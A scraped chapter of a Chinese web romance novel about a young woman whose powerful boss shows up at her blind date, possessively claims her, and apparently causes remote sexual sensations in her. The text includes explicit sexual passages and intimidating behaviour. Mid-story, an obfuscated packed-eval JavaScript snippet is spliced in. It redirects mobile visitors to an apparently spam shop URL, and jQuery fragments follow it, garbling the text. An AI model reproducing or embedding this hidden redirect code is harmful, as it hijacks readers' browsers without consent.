29.第二十九章

作品:《当我获得上司的共感娃娃后

    这种错觉最近常有发生。


    池溪不知道自己是不是夜有所梦日有所思。那种只属于沈决远的特殊香味,她无时无刻都能闻到。


    她甚至怀疑,这是沈决远上次落下的大衣上的气息。


    她都快要疯掉了,本来打算远离他过好自己的人生,但这样下去,她不仅忘不掉他,反而更加在意。


    早上睡醒,她神智模糊地用头蹭了蹭枕头,手臂下意识地伸出去,似乎想要抱住什么。


    当她的手臂扑了个空时,她才慢慢清醒过来。


    她坐起身,望着空空荡荡的床发了一会儿呆。


    她刚才是又做梦了吗?


    可是那种感觉真的无比真实,尤其是在半梦半醒的时候。她觉得自己被人抱着,而她躺在那个柔软结实的怀里.....


    脸埋着的地方,是比枕头更加舒适的部位。


    那种软硬适中的陷入感,居然让她在清醒之后产生了一种失落的不舍。


    又是做梦吗。


    最近做梦的频率好像更高了。


    池溪回来这些天没有联系过父亲,她以为对方得知她回老家的消息会主动联系她。


    但是没有。


    甚至连以往一个月固定三次的通话都没了。


    不过也是,人家现在家庭美满,联系她做什么。估计在听到她离开北城后,松了好长一口气。


    -


    池溪如约去见了那个相亲对象。


    本人比照片上更加端正一些,短发梳的很整齐,戴着一副银色眼镜,镜片有点厚。


    或许是担心她嫌弃自己的视力度数,男人急忙解释:“我的近视度数虽然有八百度,但我是后天近视,不会有很大概率影响后代。”


    呃..第一次见面就聊这个会不会有点太快了。


    池溪笑着点了点头。


    她简短地做了自我介绍,对方得知她有继续读书的打算,顿了顿:“那你以后是想留在本市读研吗?”


    池溪摇头:“我也不确定,毕竟以我现在的成绩留在本市很吃力。”


    那个人若有所思地低嗯一声,菜刚好在这时端了上来。


    男人起身替她倒了杯热水,坐下时,视线在窗外停了几秒。


    他最先注意到的是站在车旁抽烟的男人,实在是对方的存在过于显眼,极高的身量和匀称结实的肌肉线条,哪怕被优雅高贵的西装一丝不苟的遮住,可身形轮廓仍旧清晰。


    第二眼他注意到的是旁边那辆车。


    定制款布加迪。


    无论是人还是车,明显与这里格格不入。


    所以他不由得多看了几眼。


    池溪没有注意到他的反常,她心里在思考该和他说些什么。


    事实上,对方不是她喜欢的类型。


    他看上去是那种会在她说肚子疼的时候会说出一句‘别疼’,会在她说好饿的时候说出一句‘我也好饿’,会在她遇到不知道该怎么解决的事情时,反问她‘怎么办’的人。


    这并不是池溪的偏见,他们开车过来时对方不小心撞坏路障,全程慌乱地看着池溪问:“怎么办?”


    池溪说走保险吧,他眉头紧皱,告诉池溪自己这车刚买,还没来得及上保险。


    最后只能打电话给交警。虽然电话是他打的,但他全程都很紧张地看着池溪。


    弄得池溪也变得非常紧张,好像这车是他们俩刚偷来的一样。


    想到这里,坐在男人对面的池溪叹了口气。


    菜上齐后,男人陆续抛出相亲时老生常态的几个问题。


    你想要多少彩礼。你可以给多少陪嫁。近期有结婚的想法吗。婚后希望生几个孩子。


    池溪其实觉得现在聊这些太早了,但既然对方问了,她也不好不答。


    听完她的回答后,男人点了点头。池溪不知道他是满意自己的回答还是不满意。


    但对方殷勤不减,甚至主动起身给她夹菜。


    池溪有些不适应,出于礼貌还是主动端起碗,去接对方夹的那块红烧肉。


    对方的视线再次落向她身后的玻璃窗,不知看到些什么,喉结咽了咽,整个人显得有些局促,最后胡乱地将红烧肉放进她的碗中重新落座。


    “呃...”他喝了几口水压惊。


    他总是频繁地往窗外看,池溪不知道他怎么了,也懒得问,纯当没看见。


    “其实你的长相是我很喜欢的类型。”


    这突如其来的夸赞让池溪有些不好意思。她悻悻地和他道谢。


    “池小姐的追求者...应该很多吧。”他试探地询问,“因为你长得真的很漂亮。”


    从小到大她听过最多的赞美大概就是‘漂亮’这个词了。但围绕这个优点在她身上扩充的词语让她觉得刺耳。


    ‘胸大无脑’‘草包’‘花瓶’‘上帝在创造她的时候天赋全点在外形上了’


    以至于到了后来,池溪每次听到别人夸她漂亮都不知道该不该道谢。


    她生怕紧随其后的是一句‘但是’


    所以她紧张地等待着。


    “池叔叔将你的照片拿给我看时,我第一反应就是惊讶,因为我很难相信长得这么漂亮的女孩子会是单身。”池溪发现他和自己说话时,视线仍旧频频看向窗外。他的眼神略显复杂,很显然,他的确是那种一直在读书,没有经历什么风浪,也没什么阅历的人。


    因为他的情绪全都表现在了脸上,这让他看上去更加局促,他眼中分明是自卑。


    “池叔叔和我保证,说你一直都是单身,并且身边没有其他异性,所以我才会......”


    池溪越听越不对劲。


    直到他开口:“但是.....”


    果然还是等来了这个‘但是’


    他抿唇,一副快要哭出来的委屈,略显厚重的镜片下方,那双眼睛微微泛红,“我认为相亲应该坦诚相待,你的确是我喜欢的类型。但既然你已经有了正在交往的对象,为什么还要隐瞒呢?如果你是想要应付你的家里,你也应该提前和我说...”


    “什么?”池溪听的一头雾水。


    见她在装傻,男人从气哭变成气笑,他也不打算给池溪留脸面了。


    他站起身,伸手指着她身后的玻璃窗:“从我们进到这家餐厅起,你男朋友就一直站在外面看着我们。他是不放心你还是不放心我?怕我对你动手动脚,还是怕你变心移情别恋?”


    对方显然也是一个老实人,这回属实是把老实人也逼急了。如果是势均力敌的对手他反倒不会这样,甚至还会生出一些胜负欲。


    但是....


    此刻的他觉得自己像是被戏耍的猴和小丑。


    那种自卑的屈辱让他情绪激动。


    既然有了这种各方面都是顶配级别的男朋友了,就绝不可能会看上他。


    池溪挪动椅子转身,餐厅后面是街区,由于还没有商户入驻,所以那个地方安静空旷。只有昏黄的路灯,像复古滤镜,让一切都笼罩在一层模糊质感之中。


    停在路边的黑色布加迪,车身锋利流畅,像一尊钢铁巨兽。


    在冰冷的夜色中带着和他主人类似的强悍压迫感。


    男人只是站在一旁默默抽着烟,他不知在那里站了多久,那只雪茄竟然抽了三分之二。


    池溪仿佛能够闻到那股陈年雪松的醇厚和烤坚果的焦香。


    来自他抽的那支雪茄的香味。


    池溪顿时明白了他的坐立难安和脸上的自卑情绪从何而来。


    “那个......”她有些慌乱,此刻终于体会到了那种小说女主的有口难言,“你听我解释,我和他不是你想的那种关系。”


    虽然相亲结束之后二人大概率不会有后续,但池溪还是不希望对方误会。


    “那你们是什么关系,对方对你穷追不舍?他怎么可能.....”对方上下看了她一眼,池溪感受到他为人师长的教养他憋回去很多不好听的话,最后只留下一句,“我会告诉池叔叔我们不合适。”


    看着对方遭受屈辱离开的背影,池溪相信他不是因为被她伤害所以感到屈辱。


    他是因为沈决远的存在才会感到屈辱。


    他甚至没有对方比较的资格。


    定制款的布加迪,落地价两千万美元,哪怕是一个车轮的价值都在十五万美元。


    这种时候他甚至希望自己没有那么爱车,平时也没有逛那么多与车相关的论坛,否则也不可能知晓的这么清楚。


    对方甚至一句话都没有说,就足够让他感受到那种被无视的屈辱。


    池溪看着男人离开的背影。


    这原本是舅舅的一番好意,她不仅搞砸了一切,反而还伤害了和她相亲的男人。


    服务员拿着账单过来,池溪扫码付完款。这顿饭她没想过要找他aa。毕竟这个结局是她造成的。


    虽然她也很无辜。


    她穿上外套,拿起放在椅子上的托特包,起身往外面走。


    夜晚很冷,风有点大。


    池溪走进由昏暗灯光渲染的复古滤镜中,和沈决远站在一个取景框中。


    池溪刚出来就感受到了冷。难以想象,他在外面站了这么久,他有多冷。


    不过对方似乎一点也不在意温度。因为在她出来后,他立刻脱下自己身上的大衣,动作自然地搭在她的肩上。


    “去车上吧,外面冷。”声音温和,带着关心。


    池溪抿了抿唇,站着没动。


    替她开副驾驶车门的男人见状,停下动作:“有话要和我说?”


    池溪深呼一口气,将他的外套还给他:“谢谢你的好意,但我不冷。”


    他无动于衷地看着她,没有伸手去接。


    怎么可能不冷,手腕都冻出鸡皮疙瘩了。


    他不接,池溪就一直这么举着,似乎在比谁先妥协。


    先妥协的显然是沈决远,但他将大衣接过来后,又重新替她穿在身上:“无论是生气也好,难过也好,都不要建立在伤害自己身体的基础上。”


    这番温和的关心,如果在平时,的确会让池溪受宠若惊。


    但是现在,她无法去形容自己的情绪。她不知道他究竟要做什么。


    因为有权有势,所以就可以随意玩弄欺辱他们这些普通人吗?


    明明不久前还对她充满厌恶与嫌弃,就连不小心被她碰到的外套也要让佣人拿去扔掉。


    现在又突然自称她的未婚夫。


    连她相亲他都要过来监视。


    所以,他是觉得他随手施舍的喜欢她就必须得接受吗?


    她是他的宠物吗,他可以厌恶,但不允许被别人抢走?


    池溪此刻有股农民工起义的决绝,去死吧外国人。


    她强忍着眼泪,终于理解了相亲对象刚才为什么会生气。


    沈决远这种上位者的气场,似乎在无时无刻告诉他们,自己在他面前有多渺小,像一只被他随意玩弄甚至踩死的蚂蚁。


    “对我有恩的是沈伯父,不是你。是他收留我住在沈家,虽然是你让我进的公司...但这也是沈伯父找你求得情,你并不愿意不是吗。”她第一次这么有勇气,穿着他的外套,头抬得高高的,和他对视。


    像一头莽撞又胆小的小牛。


    “我不是你的玩具,所以请你......不要再来玩弄我了。”


    “玩弄?”沈决远锋利高挺的眉骨被夜色渲染出柔和轮廓,“所以你是觉得,我在零下五度的天气出现在这里,是为了玩弄你们?”


    “不然呢。”她脱口而出,“难道是因为喜欢我吗?”


    他轻声反问:“为什么不能是因为喜欢你。”


    为什么不能是因为喜欢她?当然是因为她知道,沈决远不可能喜欢自己。


    能让一个喜怒不显的人,如此明显得表达自己的厌恶。就连沈司桥都夸她:“某种意义上,你在我哥眼中的确很独特。你是第一个做到这点的。”


    池溪当时非常难过。


    沈司桥这个贱男人总是能精准戳中她的痛处。还好他被送出国了。


    嗯...虽然她好像不记得他是因为什么被送出国的。


    “你不要觉得我好骗....也不要觉得我喜欢你。”池溪咬着牙战战兢兢地嘴硬。


    沈决远走向她,淡声逼问:“你难道你不喜欢我吗。”


    她不敢看他,心虚地反驳:“我当然....不喜欢。”


    沈决远轻笑:“把你房间里我的照片和私人用品扔掉再来说这些话,或许可信度会高一点。”


    池溪愣住了。


    他怎么知道....


    她的确有偷偷收集他的照片和私人用品,当然,她绝对不是变态。


    只是佣人每次在整理完他的房间后,池溪看着那些得了他授意拿去扔掉的东西,从小被教育的节约美德让她认为就这么扔掉的话太浪费了。


    所以她总是会主动提起帮忙,然后从佣人的怀中接过那些东西,再偷偷拿回自己的房间。


    沈决远非常完美主义,任何东西一旦有破损迹象他就会让人扔掉。


    这和池溪的理念完全相悖。


    譬如这枚袖扣,它只是表面被划出一道浅痕。还有这支钢笔,笔端稍微有些弯曲,完全不影响写字。以及这条领带...它甚至是全新的。池溪想不通沈决远扔掉它的原因。


    颜色不喜欢?


    可是暗红色很适合他。


    像中世纪典雅绅士的吸血鬼,危险神秘,又有种嗜血的性感。


    池溪的呼吸逐渐变得沉重起来,她没想到沈决远会知道这些。或许他早就知道。


    人在自卑的时候就会变得非常无礼。


    尤其是在经历刚才的事情之后,这更加让池溪认为沈决远是在玩弄她。


    既然什么都知道,为什么还要装作一无所知.....


    他果然和沈司桥一样令人讨厌。


    池溪讨厌他永远都是一副从容优雅的模样,把别人弄得狼狈不堪,他却仍旧一副高高在上的傲慢姿态。


    情绪就是闸口,经年累月的堆积在那里,一旦开闸,就会一发不可收拾,尤其是她这种窝囊的老实人。


    沈决远察觉到她情绪开始激动起来,想先将她安抚好。


    她却毫不犹豫地拍开了他的手:“我真的...非常讨厌你...讨厌你的傲慢,讨厌你的冷漠,讨厌你..一言不发就来破坏我的相亲。”


    她不敢继续说下去了,她怕继续往下说,会将自己两岁那年尿床的罪都强行怪罪到他头上。


    为了防止她的情绪变得更加激动,沈决远没有反驳她,而是顺着她的话道歉:“我会尽快改掉这些性格上的缺陷。”


    他想要抱她:“小河,至于你相亲的事情,我......”


    她向后退一步,避开了他伸出来的手:“你不要叫我的小名,只有我最亲近的人才会这么叫我。”


    她眼底的抗拒和厌恶让沈决远的思维变得迟缓。


    他微微皱眉:“什么?”


    以为他没听清,池溪重复一遍:“小河这个称呼只有我最亲近的人才可以喊。”


    他的优雅不在,但仍旧是冷静的。


    只是不顾她的反对过来抱她:“你在说什么,我和你还不够亲近吗?小河,你听话,我让医生为你做一个全身检查。”


    她想推开他,却被抱得更紧。她的脸隔着冰冷的西装外套与衬衫,被迫陷进他壮硕的胸肌里。他抱得很紧,她觉得自己快被闷得喘不过气了。


    但沈决远的动作和他的声音一样温和,他轻声安抚她:“不用害怕,我拥有最顶级的医疗资源。就算真的生病了,也会很快痊愈的。”


    “唔唔唔唔唔..”


    她要说的话全被阻隔在这个唔唔唔之中。她埋在他的胸口,根本说不出完整的话。


    但沈决远听懂了。


    她说的是——我没有生病。


    无论她在何种情况下,将话说得再含糊不清,他都能听懂


    好比她在被他淦到受不了时,哭着求他停一停,先停一停。


    他能听懂。


    但他会装听不懂。


    好比此刻,他听懂了,也装作没听懂。


    如果说之前只是猜测,那么现在是彻底确认。她一定是生病了。


    就算没生病,那也是出了什么意外。


    否则怎么可能无缘无故丢失一段记忆,怎么可能将对他的爱忘得一干二净。


    沈决远一直都很担心她的身体。


    比起她忘记自己,他更加担心的是她的身体。


    “这个地方的医疗环境还是太差了,我后天带你回北欧治疗。你不是很喜欢极光吗,上次看你电脑的壁纸是挪威的极光。”他低头亲吻她的额头,声音温和,“你有一天的时间收拾东西。当然,我也可以安排人来帮你。我知道你喜欢粉色,所以提前让人给你布置了一个粉色的房间。”


    池溪不知道自己为什么会突然胆子这么大。


    她在面对沈决远时,会比平时更加窝囊。如果沈决远让她下跪,或许她也不敢拒绝。


    可是现在,她不知道自己的胆子怎么会变得这么大。


    好像是潜意识里有一道陌生的意识在告诉她,无论她怎么做,沈决远都不会真的对她做什么。她不清楚自己为什么会多出这种底气。


    明明她最怕的就是沈决远,因为在她认识的所有人当中,最危险也最可能让她受伤的就是沈决远。可偏偏,她最有底气撒野的也是他。


    为什么会这样呢。池溪不明白。


    想不明白她干脆就不想了,她现在唯一想做的就是从他的怀抱离开,即使这个怀抱让她感到向往。


    二人力量悬殊,她完全推不动。只能张嘴咬在上面。


    她非常用力,像小狗一样。甚至感觉牙齿穿透了高级精纺纯羊毛的西装和衬衫,咬住柔软结实的肌肉。


    她用力到身体开始颤抖,似乎想要咬疼他,让他主动放开自己。


    她甚至能够感受到鲜血的血腥味。


    都这种时候了,她想的居然是他身上好香。


    他的怀抱怎么能这么温暖,虽然他让人恐惧和害怕,可为什么在他身边会有一种无与伦比的充实与安全感呢。


    男人只是温柔抚摸她的发顶,原来被宽厚手掌摸头是这种感觉。


    她的心脏不受自己控制的悸动。


    他还没感知到疼痛,她反而先开始心疼。


    还是不忍心真的咬疼他...


    池溪松开嘴,面前那块西装布料被她的口水打湿,上面还有一个清晰可见的牙印。


    “虽然不知道你为什么要这么做..但我没有生病也没有出任何意外,或许生病的人是你...你还是先给自己做个全身体检吧,你好像..比别人多了一段记忆。”


    她磕磕绊绊地说。


    池溪其实早就怂了,她不知道自己为什么突然这么有勇气,居然敢反驳沈决远。


    但她的确是憋了一肚子火,再窝囊的人也有一怒之下怒了一下的时候。


    难道窝囊的人就该被按着欺负吗。


    他是她的上司,不是她的上帝。


    男人安静了很长时间。


    “所以你现在为了其他男人,冲我发脾气?”至少在这个瞬间,他还能够保持他的优雅与绅士风度。低沉性感的声音里带着淡淡笑意。


    如果真的像他说的那样,自己是他的未婚妻,那么池溪觉得他无论是生气还是愤怒都情有可原。


    毕竟自己的未婚妻跑去和其他男人相亲,还为了对方与自己发生争吵。换了谁都会生气。更何况是沈决远。


    池溪一直都觉得沈决远的占有欲很强,否则为什么他连自己的书房都不让人随意进去。


    可她根本就不是,所以:“的确是...我不知道你为什么要这样,你打听到我今天在这里相亲然后跟过去,就是为了破坏它,对吗?你故意站在外面,像一个抓奸的丈夫....”


    她咽了咽口水,强迫自己直视他,“是你之前说的,你的未婚妻不可能是私生女,还有...你觉得廉价的香水是我最喜欢的。你不要觉得自己有权有势就可以随意贬低别人。我没有贪图过你的钱,就算是在公司,我也是认真工作,对得起你发给我的工资。”


    沈决远不再说话,他只是看着她,绅士地等她将话说完。


    池溪深呼吸,再次鼓起勇气:“你是不是觉得,对于我这种穷苦的底层人士来说,你随口说的一句‘未婚妻’就能让我感恩戴德,受宠若惊?你出现在我的相亲现场,你考虑过他的感受吗?”


    “那你呢,考虑过我的感受吗?”他不容易违背的权威在此刻被放大。


    她说了那么多,他没有打断,也没有回应。而是在她说出最后一句话,声音低沉地逼问。


    池溪停住了。


    她为什么要考虑他的感受?


    她不安地抿唇,她不知道是不是自己的错觉,她总觉得沈决远的情绪开始变得低迷。


    他是一个城府和心思重到喜怒完全不显的人,加上池溪在某些方面蠢笨迟钝,所以她永远无法感知到他的情绪。


    但是现在,不知道是这份难过被放大了,还是他故意让她发现。


    “你从刚才开始就一直在追究我的责任,那我呢。”他眼神低沉,逼近了她,“我应该追究你的责任吗?”


    池溪再次感受到宽阔饱满的胸膛停在自己面前。她咽了咽口水,不知道是紧张还是因为其他原因。


    “我......你为什么追究我的责任?”她结结巴巴的说。


    沈决远的手放在她的脖子上,他没有用力,池溪却感受到他手掌宽厚与有力。现在的他只要稍微用点力气,就可以将她在这条偏僻的街道掐死。


    她无法呼救,也没人能来救她。甚至很有可能第二天她的尸体才会被发现。


    可是沈决远并没有这么做,他只是温柔地拿掉了掉在她衣领中的落叶。


    “热恋期断崖式被分手。虽然很想见你,但考虑到你的情绪和身体,我愿意空出足够的时间让你冷静。你却在我忍耐思念的时间和其他男人相亲。”他弯下腰,和她视线保持在同一水平面,近距离看她。也因此,他的沉声逼问才会显得如此具有压迫感,“我难道不应该追究你的责任吗?每天幻想着和我做嗳的是你,私藏我私人物品的是你,在电脑里存着我偷拍照的,还是你。”


    “我.....没有,我没有私藏你的私人物品和偷拍照,而且不是我拍的....”


    那根本不是什么偷拍照,那是.....


    沈决远打断她的狡辩:“你说,现在是谁更应该追究谁的责任?”


    “我不......”


    “你知道背叛我的人,都是什么下场吗?”


    池溪愣住了。沈决远轻描淡写的一句话就轻松震慑到了她。


    她站在那里,早就没了刚才的勇气,瞳孔因为害怕而放大瞬缩。


    沈决远敏锐地捕捉到了她的害怕,心脏猛地刺痛。


    他眼角轻微抽动,然后站直身体离开了她。制造压迫感的本体虽然远离了,池溪仍旧被束缚地站在原地。


    她看到男人单手撑着一旁的黑车,似乎只有这样才能让自己摇摇欲坠身体站稳。


    另一只手则去按太阳穴保持冷静。


    他的确变得不冷静了,为什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143252|194198||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要说这些话吓唬她,有什么意义呢。她胆子本来就小。


    他高大宽阔的身影在无边夜色中也拥有极强的存在感。上卷的袖口露出线条结实的小臂,盘旋其中的青筋一根根凸起,西装马甲严丝合缝地包裹住他遒劲壮硕的上半身。


    池溪首次在他身上感受到了疲惫,这样一个强大到无所不能的人,也会有这样的瞬间吗?


    沈决远独自消化了一会儿情绪,没有再理会她,直接拉开车门坐进去,然后开走。


    剩下池溪一个人站在那里,看着冰冷的黑车经过一个拐角消失在自己的视野里。


    她甚至来不及恢复思考,两分钟后,一辆奔驰s600开停在她的面前。车窗降下,池溪认出了里面男人那张脸。


    是wesley,总是跟在沈决远身后的俄罗斯人,那张斯拉夫血统味儿纯正的脸。只要不站在沈决远的身边,就能感受到他极具冲击力的颜值。


    但他对沈决远的忠心程度让池溪怕屋及乌。


    他下了车,绅士地将后车门拉开:“池小姐,沈先生让我送您回去。上车吧。”


    池溪没有理会他的好意,走到路口打了一辆车坐上去。


    一直到车开到家门口,那辆车始终保持不紧不慢的车速,跟在的士后面。亲眼看着她安全进屋后,他才离开。


    一整个晚上池溪的情绪都很低迷,连晚饭都懒得准备。


    舅婆他们离开后,这个房子显得空旷又冷清。老实讲,池溪其实不想住在这里。


    她对这个房子最深刻的印象就是孤独。小的时候怕鬼,妈妈又经常不在家。她每天晚上都会把家里的灯都开着。


    因为有一段时间她真的看见了鬼。


    虽然后来才知道是隔壁大她几岁的哥哥每天锲而不舍地装鬼吓她。


    妈妈因为这个事情去找对门吵架,那个哥哥和池溪道歉的时候主动承认,装鬼吓她是因为觉得她很胆小,吓唬起来很有意思。


    七岁那年被吓尿裤子的场面至今想起来都让她觉得丢脸。


    池溪抱着衣服打算去洗澡,突然身上传来一阵异样感。


    她停在那里,不受控制地弯下腰。


    为什么突然...


    是排卵期快到了吗?她在这段时间前后,的确欲望会比平时强烈一些。开始按照时间来看,还很早。


    那种异样感没有消失,甚至越来越明显,越来越快。


    为什么她会..舒服?


    “嗯....”她脸色潮红地蹲了下去,气喘吁吁,“为什么会...”


    “啊嗯..哈啊....不不...不行...”


    “呃啊...呜...”屋子里属于她一个人的呼吸声此起彼伏。


    不知过了多久,她弓着腰,仿佛一阵强光在眼前闪过。


    早就红了的眼睛和脸,此时更加红了。


    十分钟后,她抱着尿湿的裤子进了浴室。


    洗完裤子后她又开始洗自己。她觉得自己肯定是漫画看多了,所以才会...


    可是不知道为什么,她刚才控制不住的想沈决远。想他在自己的身边。


    朋友说她只是看上去乖巧,其实性格比谁都闷骚。典型的纯洁无暇白巧克力,但黄油芝士夹心。


    她脱掉自己的衣服泡进浴桶里,刚进去,胸口敏感的她倒吸一口凉气。


    她低头看了一眼,整个人不由得愣住。


    为什么会红肿成这样,不仅红润润的,甚至还...有牙印...


    -


    池溪觉得自己最近一定撞鬼了,而且还是色鬼。


    可是她不知道该不该和舅婆说,毕竟这种事情,需要考虑的不止是他们会不会信。首先需要她说得出口。


    怎么开口呢,她被鬼上了?


    她的脑海里再次浮现出了沈决远的身影。


    事实上,从这件事发生后她第一个想到的就是沈决远。


    都说人在害怕时想到的第一个人就是自己最依赖,且最能让自己感到安全感的人。池溪无法否认她对沈决远存在着一种暗性期待。


    但她没有身份和资格去找他。再加上,自从上次她说了那些话之后,沈决远已经两天没有出现了。


    虽然她仍旧总是能闻到那股只属于他的清冷气息。


    沈决远不会再来找自己了。


    想到这个事实,池溪突然一阵心疼和难过。


    自己不该说那些话的,平白惹他伤心。其实他也没做什么,他甚至都没有进来阻止或是打扰他们的相亲。


    他只是在外面站了一会儿而已。是那个相亲对象自己一通脑补和比较之后开始自卑。


    只属于男人的,薛定谔一般的自尊心。


    她只是一时情绪上头,将自己的心里话全都发泄出来而已。


    要和他道歉吗?


    算了吧,看他当时离开的样子,估计也不会想要再见到她了。


    池溪深深吸了一口气,她觉得所处的世界,四面八方都是只属于他的气息。


    怎么能这么好闻,这么让人上瘾。果然贵的东西除了贵,没有任何缺点。


    包括他。


    她问过舅婆他们,有没有闻到什么香味。每个人的回答都不同。


    舅婆说她只闻到了鸡粪鸭粪的味道——舅婆家养了许多家禽。


    舅妈则骂着小舅,说只有他身上的臭汗味。


    似乎只有池溪最幸运,这股香味淡化了臭味。她所呼吸到的空气都是清新的。


    舅婆见家里这几天都只有她一个人,问她:“那个小伙子最近没来?”


    池溪装听不懂:“哪个小伙子?”


    “就是那个高高大大的,两个闹别扭了?”


    池溪说:“没闹别扭..”


    舅婆笑了,一副看透一切的神情:“那孩子我觉得挺不错的,成熟稳重,长得也气派。不过就算这段关系成不了也好,那种大人物不是我们这些小门小户可以驾驭得住的。”


    她用身边的例子讲给池溪听;“你秦姨的女儿,那个大你四岁的阿樱,六年前嫁给了一个香港富商,都说她去过好日子了。这几年往家里寄的钱让你秦姨早早地住进了城里,周围人都羡慕她有个好女婿。虽然这个女婿从未没有回来探过亲。前段时间阿樱疯疯癫癫地回来了,大着肚子回来的。”


    池溪本来还在当故事听,那个阿樱姐姐她有点印象,小的时候她一直很羡慕她总是能穿上漂亮的公主裙,以及拥有精致的蝴蝶结发卡。不像她,总是穿着小一码的男孩子衣服。


    但听到后面她就愣住了:“为什么会...疯疯癫癫?”


    舅婆叹气:“说是根本就没结婚,只是给对方当了外室。甚至还不是小三小四,排在她前面的不知道有多少个。后来被那个男人送上合作方的床,说是好几个人一起..就疯了,肚子里的孩子也不知道是谁的。”


    池溪愣了好久。


    这些类似的传言她其实多多少少听过一些。沈司桥身边的朋友玩的一个比一个花。包括沈司桥这个烂人,他亲口告诉池溪,他最喜欢睡双胞胎,一次睡两个,一个让他屮,一个给他口。虽然他可能只是口嗨。


    但不妨碍池溪觉得他是一个很脏的烂黄瓜。


    不过这种场景她只是听说,还从来没有亲眼见过。对她来说属于一种非常遥远的事情。


    事实上,父亲和沈伯父在某种层面上,的确将她保护得很好。


    舅婆说:“那个小伙子看上去不像是会做出这种事情的人,他很有礼貌。但人性谁都说不准,谁知道什么时候就变了。”


    池溪点头,似乎听懂了。


    她那一整天都在想这件事,心里非常不舒服。


    自己熟悉的人变成这样,换了谁都不可能做到无动于衷。


    沈决远...


    她想到舅婆刚才的话。沈决远永远也不可能做出这种事情来。


    池溪不知道自己出于哪方面的自信。但她坚信。


    以沈决远的教养和他的本性,他甚至做不到将太多的心思分给无关紧要的感情。就算他需要解决生理需求,也会寻找固定的床伴,而不是一天换一个。


    他的雄心壮志全都放在他的伟大的事业上了。


    他肯定早就回了他的北欧,不会再来找她了。


    或许那天是自己见到他的最后一面。


    池溪抿唇,不知道该高兴还是难过...


    她将学习资料放进背包里,打算去图书馆学习。


    然而手机却在此刻响了起来。


    她低下头去看,是沈决远发来的信息。


    看到上方的备注,她的心脏莫名其妙的加快。


    她犹豫很久,最终还是选择点开。


    ——关于那天的事情,一切都是我的问题,是我被嫉妒冲昏了头脑。


    我不该说那些让你伤心的话,更不该抛下你先行离开。


    因为我察觉到我的情绪开始失控,而我无法尽快地控制住,这很罕见。


    很显然,在那样的场景下,如果连年长的我也做不到保持冷静,只会让这件事的处理变得更加糟糕。


    所以我需要先让自己冷静下来,然后再冷静地去处理我们之间的事情,


    这两天我思考了很多,身为年长者却没有起到一个好的引导与安抚作用,反而用激烈的发言伤害到你。


    小河,我想当面和你道歉。你能给我这个机会吗?


    池溪看着这条信息,心里五味杂陈,她不知道自己此刻的真正情绪是什么。


    难以想象,惜字如金到不近人情的沈决远,居然也有发这么一大串文字和别人道歉解释的时候。可这明明不是他的错。


    池溪抬起的手指,在屏幕上方悬空很久。她最终还是放弃了回复这条信息。


    她很胆小,遇到无法决定的事情就会逃避。


    她喜欢沈决远,可舅婆的话让她重新思考自己和沈决远之间的差距。


    而且,沈决远说要当面和她道歉,真的只有道歉吗?


    她总觉得心里毛毛的。


    所以她选择放下手机,强迫自己忘记这件事。


    外面的天气更冷了,河面结的冰厚到都可以在上面打滚。


    池溪决定回到房间换一身更厚的衣服。


    她一直觉得内衣的那层钢圈特别难受,所以一旦到了冬天,她就会选择直接不穿。反正冬天的衣服厚,不穿也没有任何影响。


    只是今天,她脱毛衣的时候动作很小心。粗毛线明显的颗粒与肌理感与她胸前明显还红肿敏感的部位摩擦而过时,那种异样感让她忍不住又红了脸。


    她不知道自己这是怎么了,不止这里,还有其他部位也是。


    难道家里真的有鬼?她四处看了一眼,总觉得房间更加阴冷。


    她被吓到三下五除二穿好衣服,背上包打算离开。


    不过走了两步,一种润物细无声的情绪慢慢影响到她。


    她像是茅舍顿开,顿悟了一般。


    她为什么要害怕,为什么要逃避,为什么要躲着沈决远?她已经长大了,不再是那个会被别人扮鬼吓尿的孩子了。


    所以她为什么要害怕?为什么要避开呢?


    一直以来,她都是窝囊地逃避一切。


    无论自己是对是错,总之,认错就对了。


    她全身上下最硬的大概就是身体中间的脊椎骨了,可她也能凭借自己的窝囊让它无时无刻地弯下去。


    可人又不能一直窝囊下去。


    对啊,心里好像有一道声音在告诉她。


    她不可能一直这样遇到事情就选择逃避。


    池溪抿了抿唇,突然生出了一种非常强烈的,想要去见沈决远的冲动。